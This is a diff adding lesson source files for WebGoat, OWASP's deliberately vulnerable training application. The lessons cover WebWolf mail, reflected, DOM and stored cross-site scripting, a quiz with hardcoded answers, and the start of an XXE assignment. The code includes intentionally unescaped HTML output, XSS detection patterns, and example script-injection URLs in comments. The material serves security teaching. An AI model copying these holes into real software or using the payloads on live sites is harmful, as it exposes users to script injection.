+/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.webwolfintroduction; + +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.client.RestClientException; +import org.springframework.web.client.RestTemplate; + +/** + * @author nbaars + * @since 8/20/17. + */ +@RestController +public class MailAssignment extends AssignmentEndpoint { + + private final String webWolfURL; + private RestTemplate restTemplate; + + public MailAssignment( + RestTemplate restTemplate, @Value("${webwolf.mail.url}") String webWolfURL) { + this.restTemplate = restTemplate; + this.webWolfURL = webWolfURL; + } + + @PostMapping("/WebWolf/mail/send") + @ResponseBody + public AttackResult sendEmail(@RequestParam String email) { + String username = email.substring(0, email.indexOf("@")); + if (username.equalsIgnoreCase(getWebSession().getUserName())) { + Email mailEvent = + Email.builder() + .recipient(username) + .title("Test messages from WebWolf") + .contents( + "This is a test message from WebWolf, your unique code is: " + + StringUtils.reverse(username)) + .sender("webgoat@owasp.org") + .build(); + try { + restTemplate.postForEntity(webWolfURL, mailEvent, Object.class); + } catch (RestClientException e) { + return informationMessage(this) + .feedback("webwolf.email_failed") + .output(e.getMessage()) + .build(); + } + return informationMessage(this).feedback("webwolf.email_send").feedbackArgs(email).build(); + } else { + return informationMessage(this) + .feedback("webwolf.email_mismatch") + .feedbackArgs(username) + .build(); + } + } + + @PostMapping("/WebWolf/mail") + @ResponseBody + public AttackResult completed(@RequestParam String uniqueCode) { + if (uniqueCode.equals(StringUtils.reverse(getWebSession().getUserName()))) { + return success(this).build(); + } else { + return failed(this).feedbackArgs("webwolf.code_incorrect").feedbackArgs(uniqueCode).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/WebWolfIntroduction.java b/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/WebWolfIntroduction.java new file mode 100644 index 000000000..39fe97e2d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/webwolfintroduction/WebWolfIntroduction.java @@ -0,0 +1,40 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.webwolfintroduction; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class WebWolfIntroduction extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.INTRODUCTION; + } + + @Override + public String getTitle() { + return "webwolf.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xss/Comment.java b/src/main/java/org/owasp/webgoat/lessons/xss/Comment.java new file mode 100644 index 000000000..b0b719b21 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xss/Comment.java @@ -0,0 +1,22 @@ +package org.owasp.webgoat.lessons.xss; + +import javax.xml.bind.annotation.XmlRootElement; +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.NoArgsConstructor; +import lombok.Setter; + +/** + * @author nbaars + * @since 4/8/17. + */ +@Getter +@Setter +@AllArgsConstructor +@NoArgsConstructor +@XmlRootElement +public class Comment { + private String user; + private String dateTime; + private String text; +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScripting.java b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScripting.java new file mode 100644 index 000000000..9068e030f --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScripting.java @@ -0,0 +1,40 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xss; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class CrossSiteScripting extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A3; + } + + @Override + public String getTitle() { + return "xss.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson1.java b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson1.java new file mode 100644 index 000000000..114632ef5 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson1.java @@ -0,0 +1,45 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xss; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class CrossSiteScriptingLesson1 extends AssignmentEndpoint { + + @PostMapping("/CrossSiteScripting/attack1") + @ResponseBody + public AttackResult completed( + @RequestParam(value = "checkboxAttack1", required = false) String checkboxValue) { + if (checkboxValue != null) { + return success(this).build(); + } else { + return failed(this).feedback("xss.lesson1.failure").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson3.java b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson3.java new file mode 100644 index 000000000..fcd9138da --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson3.java @@ -0,0 +1,89 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xss; + +import org.jsoup.Jsoup; +import org.jsoup.nodes.Document; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; + +// @RestController +@Deprecated +// TODO This assignment seems not to be in use in the UI +// it is there to make sure the lesson can be marked complete +// in order to restore it, make it accessible through the UI and uncomment RestController +@AssignmentHints( + value = { + "xss-mitigation-3-hint1", + "xss-mitigation-3-hint2", + "xss-mitigation-3-hint3", + "xss-mitigation-3-hint4" + }) +public class CrossSiteScriptingLesson3 extends AssignmentEndpoint { + + @PostMapping("/CrossSiteScripting/attack3") + @ResponseBody + public AttackResult completed(@RequestParam String editor) { + String unescapedString = org.jsoup.parser.Parser.unescapeEntities(editor, true); + try { + if (editor.isEmpty()) return failed(this).feedback("xss-mitigation-3-no-code").build(); + Document doc = Jsoup.parse(unescapedString); + String[] lines = unescapedString.split(""); + + String include = (lines[0]); + String fistNameElement = + doc.select("body > table > tbody > tr:nth-child(1) > td:nth-child(2)").first().text(); + String lastNameElement = + doc.select("body > table > tbody > tr:nth-child(2) > td:nth-child(2)").first().text(); + + Boolean includeCorrect = false; + Boolean firstNameCorrect = false; + Boolean lastNameCorrect = false; + + if (include.contains("<%@") + && include.contains("taglib") + && include.contains("uri=\"https://www.owasp.org/index.php/OWASP_Java_Encoder_Project\"") + && include.contains("%>")) { + includeCorrect = true; + } + if (fistNameElement.equals("${e:forHtml(param.first_name)}")) { + firstNameCorrect = true; + } + if (lastNameElement.equals("${e:forHtml(param.last_name)}")) { + lastNameCorrect = true; + } + + if (includeCorrect && firstNameCorrect && lastNameCorrect) { + return success(this).feedback("xss-mitigation-3-success").build(); + } else { + return failed(this).feedback("xss-mitigation-3-failure").build(); + } + } catch (Exception e) { + return failed(this).output(e.getMessage()).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson4.java b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson4.java new file mode 100644 index 000000000..7a487471e --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson4.java @@ -0,0 +1,64 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xss; + +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; + +// @RestController +@Deprecated +// TODO This assignment seems not to be in use in the UI +// it is there to make sure the lesson can be marked complete +// in order to restore it, make it accessible through the UI and uncomment RestController@Slf4j +@Slf4j +@AssignmentHints(value = {"xss-mitigation-4-hint1"}) +public class CrossSiteScriptingLesson4 extends AssignmentEndpoint { + + @PostMapping("/CrossSiteScripting/attack4") + @ResponseBody + public AttackResult completed(@RequestParam String editor2) { + + String editor = editor2.replaceAll("\\<.*?>", ""); + log.debug(editor); + + if ((editor.contains("Policy.getInstance(\"antisamy-slashdot.xml\"") + || editor.contains(".scan(newComment, \"antisamy-slashdot.xml\"") + || editor.contains(".scan(newComment, new File(\"antisamy-slashdot.xml\")")) + && editor.contains("new AntiSamy();") + && editor.contains(".scan(newComment,") + && editor.contains("CleanResults") + && editor.contains("MyCommentDAO.addComment(threadID, userID") + && editor.contains(".getCleanHTML());")) { + log.debug("true"); + return success(this).feedback("xss-mitigation-4-success").build(); + } else { + log.debug("false"); + return failed(this).feedback("xss-mitigation-4-failed").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson5a.java b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson5a.java new file mode 100644 index 000000000..9807d8d4e --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson5a.java @@ -0,0 +1,103 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xss; + +import java.util.function.Predicate; +import java.util.regex.Pattern; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "xss-reflected-5a-hint-1", + "xss-reflected-5a-hint-2", + "xss-reflected-5a-hint-3", + "xss-reflected-5a-hint-4" + }) +public class CrossSiteScriptingLesson5a extends AssignmentEndpoint { + + public static final Predicate XSS_PATTERN = + Pattern.compile( + ".*.*", Pattern.CASE_INSENSITIVE) + .asMatchPredicate(); + @Autowired UserSessionData userSessionData; + + @GetMapping("/CrossSiteScripting/attack5a") + @ResponseBody + public AttackResult completed( + @RequestParam Integer QTY1, + @RequestParam Integer QTY2, + @RequestParam Integer QTY3, + @RequestParam Integer QTY4, + @RequestParam String field1, + @RequestParam String field2) { + + if (XSS_PATTERN.test(field2)) { + return failed(this).feedback("xss-reflected-5a-failed-wrong-field").build(); + } + + double totalSale = + QTY1.intValue() * 69.99 + + QTY2.intValue() * 27.99 + + QTY3.intValue() * 1599.99 + + QTY4.intValue() * 299.99; + + userSessionData.setValue("xss-reflected1-complete", "false"); + StringBuilder cart = new StringBuilder(); + cart.append("Thank you for shopping at WebGoat.
Your support is appreciated


"); + cart.append("

We have charged credit card:" + field1 + "
"); + cart.append(" -------------------
"); + cart.append(" $" + totalSale); + + // init state + if (userSessionData.getValue("xss-reflected1-complete") == null) { + userSessionData.setValue("xss-reflected1-complete", "false"); + } + + if (XSS_PATTERN.test(field1)) { + userSessionData.setValue("xss-reflected-5a-complete", "true"); + if (field1.toLowerCase().contains("console.log")) { + return success(this) + .feedback("xss-reflected-5a-success-console") + .output(cart.toString()) + .build(); + } else { + return success(this) + .feedback("xss-reflected-5a-success-alert") + .output(cart.toString()) + .build(); + } + } else { + userSessionData.setValue("xss-reflected1-complete", "false"); + return failed(this).feedback("xss-reflected-5a-failure").output(cart.toString()).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson6a.java b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson6a.java new file mode 100644 index 000000000..d0252280c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingLesson6a.java @@ -0,0 +1,57 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xss; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "xss-reflected-6a-hint-1", + "xss-reflected-6a-hint-2", + "xss-reflected-6a-hint-3", + "xss-reflected-6a-hint-4" + }) +public class CrossSiteScriptingLesson6a extends AssignmentEndpoint { + @Autowired UserSessionData userSessionData; + + @PostMapping("/CrossSiteScripting/attack6a") + @ResponseBody + public AttackResult completed(@RequestParam String DOMTestRoute) { + + if (DOMTestRoute.matches("start\\.mvc#test(\\/|)")) { + // return ) + return success(this).feedback("xss-reflected-6a-success").build(); + } else { + return failed(this).feedback("xss-reflected-6a-failure").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingMitigation.java b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingMitigation.java new file mode 100644 index 000000000..89977ea79 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingMitigation.java @@ -0,0 +1,38 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xss; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; + +public class CrossSiteScriptingMitigation extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A3; + } + + @Override + public String getTitle() { + return "xss-mitigation.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingQuiz.java b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingQuiz.java new file mode 100644 index 000000000..e193d262a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xss/CrossSiteScriptingQuiz.java @@ -0,0 +1,82 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xss; + +import java.io.IOException; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class CrossSiteScriptingQuiz extends AssignmentEndpoint { + + String[] solutions = {"Solution 4", "Solution 3", "Solution 1", "Solution 2", "Solution 4"}; + boolean[] guesses = new boolean[solutions.length]; + + @PostMapping("/CrossSiteScripting/quiz") + @ResponseBody + public AttackResult completed( + @RequestParam String[] question_0_solution, + @RequestParam String[] question_1_solution, + @RequestParam String[] question_2_solution, + @RequestParam String[] question_3_solution, + @RequestParam String[] question_4_solution) + throws IOException { + int correctAnswers = 0; + + String[] givenAnswers = { + question_0_solution[0], + question_1_solution[0], + question_2_solution[0], + question_3_solution[0], + question_4_solution[0] + }; + + for (int i = 0; i < solutions.length; i++) { + if (givenAnswers[i].contains(solutions[i])) { + // answer correct + correctAnswers++; + guesses[i] = true; + } else { + // answer incorrect + guesses[i] = false; + } + } + + if (correctAnswers == solutions.length) { + return success(this).build(); + } else { + return failed(this).build(); + } + } + + @GetMapping("/CrossSiteScripting/quiz") + @ResponseBody + public boolean[] getResults() { + return this.guesses; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xss/DOMCrossSiteScripting.java b/src/main/java/org/owasp/webgoat/lessons/xss/DOMCrossSiteScripting.java new file mode 100644 index 000000000..11da6ea19 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xss/DOMCrossSiteScripting.java @@ -0,0 +1,60 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xss; + +import java.security.SecureRandom; +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class DOMCrossSiteScripting extends AssignmentEndpoint { + + @PostMapping("/CrossSiteScripting/phone-home-xss") + @ResponseBody + public AttackResult completed( + @RequestParam Integer param1, @RequestParam Integer param2, HttpServletRequest request) { + UserSessionData userSessionData = getUserSessionData(); + SecureRandom number = new SecureRandom(); + userSessionData.setValue("randValue", String.valueOf(number.nextInt())); + + if (param1 == 42 + && param2 == 24 + && request.getHeader("webgoat-requested-by").equals("dom-xss-vuln")) { + return success(this) + .output("phoneHome Response is " + userSessionData.getValue("randValue").toString()) + .build(); + } else { + return failed(this).build(); + } + } +} +// something like ... +// http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E--andMoreGarbageHere +// or +// http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere"; + + static { + comments.add( + new Comment( + "secUriTy", + LocalDateTime.now().format(fmt), + "Comment for Unit Testing")); + comments.add(new Comment("webgoat", LocalDateTime.now().format(fmt), "This comment is safe")); + comments.add(new Comment("guest", LocalDateTime.now().format(fmt), "This one is safe too.")); + comments.add( + new Comment( + "guest", + LocalDateTime.now().format(fmt), + "Can you post a comment, calling webgoat.customjs.phoneHome() ?")); + } + + // TODO This assignment seems not to be in use in the UI + @GetMapping( + path = "/CrossSiteScriptingStored/stored-xss", + produces = MediaType.APPLICATION_JSON_VALUE, + consumes = ALL_VALUE) + @ResponseBody + public Collection retrieveComments() { + List allComments = Lists.newArrayList(); + Collection newComments = userComments.get(webSession.getUserName()); + allComments.addAll(comments); + if (newComments != null) { + allComments.addAll(newComments); + } + Collections.reverse(allComments); + return allComments; + } + + // TODO This assignment seems not to be in use in the UI + @PostMapping("/CrossSiteScriptingStored/stored-xss") + @ResponseBody + public AttackResult createNewComment(@RequestBody String commentStr) { + Comment comment = parseJson(commentStr); + + List comments = userComments.getOrDefault(webSession.getUserName(), new ArrayList<>()); + comment.setDateTime(LocalDateTime.now().format(fmt)); + comment.setUser(webSession.getUserName()); + + comments.add(comment); + userComments.put(webSession.getUserName(), comments); + + if (comment.getText().contains(phoneHomeString)) { + return (success(this).feedback("xss-stored-comment-success").build()); + } else { + return (failed(this).feedback("xss-stored-comment-failure").build()); + } + } + + private Comment parseJson(String comment) { + ObjectMapper mapper = new ObjectMapper(); + try { + return mapper.readValue(comment, Comment.class); + } catch (IOException e) { + return new Comment(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xxe/BlindSendFileAssignment.java b/src/main/java/org/owasp/webgoat/lessons/xxe/BlindSendFileAssignment.java new file mode 100644 index 000000000..317ef948e --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/BlindSendFileAssignment.java @@ -0,0 +1,113 @@ +package org.owasp.webgoat.lessons.xxe; + +import static java.nio.charset.StandardCharsets.UTF_8; +import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic; +import static org.springframework.http.MediaType.ALL_VALUE; +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +import java.io.File; +import java.io.IOException; +import java.nio.file.Files; +import java.util.HashMap; +import java.util.Map; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

